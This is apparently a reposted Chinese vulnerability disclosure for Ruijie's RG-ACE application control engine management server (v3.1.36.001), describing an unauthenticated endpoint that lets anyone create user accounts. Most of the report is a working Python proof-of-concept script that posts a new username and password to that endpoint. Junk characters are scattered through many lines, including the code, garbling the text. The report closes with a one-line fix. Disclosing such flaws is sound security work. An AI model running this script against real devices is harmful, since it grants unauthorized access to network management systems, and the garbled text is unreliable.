锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)
# s, A2 N5 N7 u9 W
3 L0 e8 ~: a' D1 Q
2 B, f. I1 M, ]测试的具体版本是$ a8 \4 m+ X- Y! Z! f1 i
产品名称: 锐捷应用控制引擎
4 Q- \( h' |( v9 Y% }9 {6 E版本号: 3.1.36.001 TC9 c- J6 W/ |$ m" F3 W" b: I- Z* Q
编译时间: 201104291730
4 M6 |; P% Y/ E6 ^7 _2 b( T : r+ |2 i0 e# Y' D- T# {9 W0 ?
+ K& |% k/ \1 L6 X }! \漏洞证明:5 r! w) q, c9 j8 x# ]
9 y0 s. ~& M% |( m7 N: R6 Q
: B. E% i7 m8 Z& S) M
* U2 Q9 a: `& _3 U5 Q/ U- w9 G- b! }; h3 J1 B! g- U
b- p0 e& m' @3 M
7 f: d" c% V% h0 Z( I执行脚本
# F4 _' Y- d- u4 l: L0 @( u* F; z' w#! /usr/bin/env python1 c( Q: M3 |& ]7 s8 l* g3 [
#coding=gbk
9 n0 d9 a* f$ V1 P+ j6 X! `& e#RG-ACE管理服务器 V3.1.36.001) B' M: J& [; P% H* l5 {
import urllib2, urllib,cookielib; Z4 R$ Z+ O4 ?! B9 `) S2 \+ g' W5 B
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
4 n3 i, J% h6 N+ z& Uopener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
- Q/ N M E6 ~opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
# e; E1 B& s" n! ]* }post=(("event","userManager.doInsertUserInfo"),; ?3 \, z1 [4 k7 R
("useractionname","addButtonValue"),) ?. f5 k7 k# P2 c4 O! l
("useropermanager","userManager"),
* S$ O1 l6 U H$ O! J0 V8 z: @("userName","t"), #######账号自己加0 w; J# c$ Y' _1 g
("pwd","aaaaaa"),######密码自己加1 j8 e/ u- ]4 u1 Z+ a. Z
("trueName","ad"),
$ y, w( `# x0 u }% a- m("email",""),
+ @4 r) _" y! l# z. S5 y("mobilePhone",""),
' m: |# D6 p8 s3 w("officePhone",""),
* i2 ?$ h" u; W("addr",""),/ J7 n8 V/ H$ S
("submit","确定"))
: P( _/ b& h i9 kurllib2.install_opener(opener)$ T1 G2 I& V8 j9 ~6 G
p=urllib2.urlopen(url, urllib.urlencode(post)).read()
4 g3 N1 e, m; p6 a% m( iprint "Done"
# f' k& T5 {% c( w) T, k, }& \) V$ K; S, h' `5 j
登录,连接设备; T! \( Q( M5 Y5 N- c% P
2 h6 G) c2 v1 A
+ a' X$ \5 ?; d1 l1 S- w% O* C" `' v E& A: @& D' X# x( D) W
+ d! j E# o8 d1 z _2 J+ Q: x9 D {/ N
默认的管理员admin权限更大点, H1 r; W7 g' Y4 _4 P2 Z
. [! l" F0 J3 i! [1 \/ s
$ n: j# H+ g4 W1 c6 e8 Y" @) `
j0 D \3 ?- g& x0 [% S6 `- ~
' L$ l* [7 w1 \& A# B [: x
1 q) L w% M7 f/ ]$ }修复方案:
1 M6 c# @* G: A! s* _5 Q加强对接口的权限验证
- p5 \' c" z: T# L9 U* B2 f& t; Z# }* V
|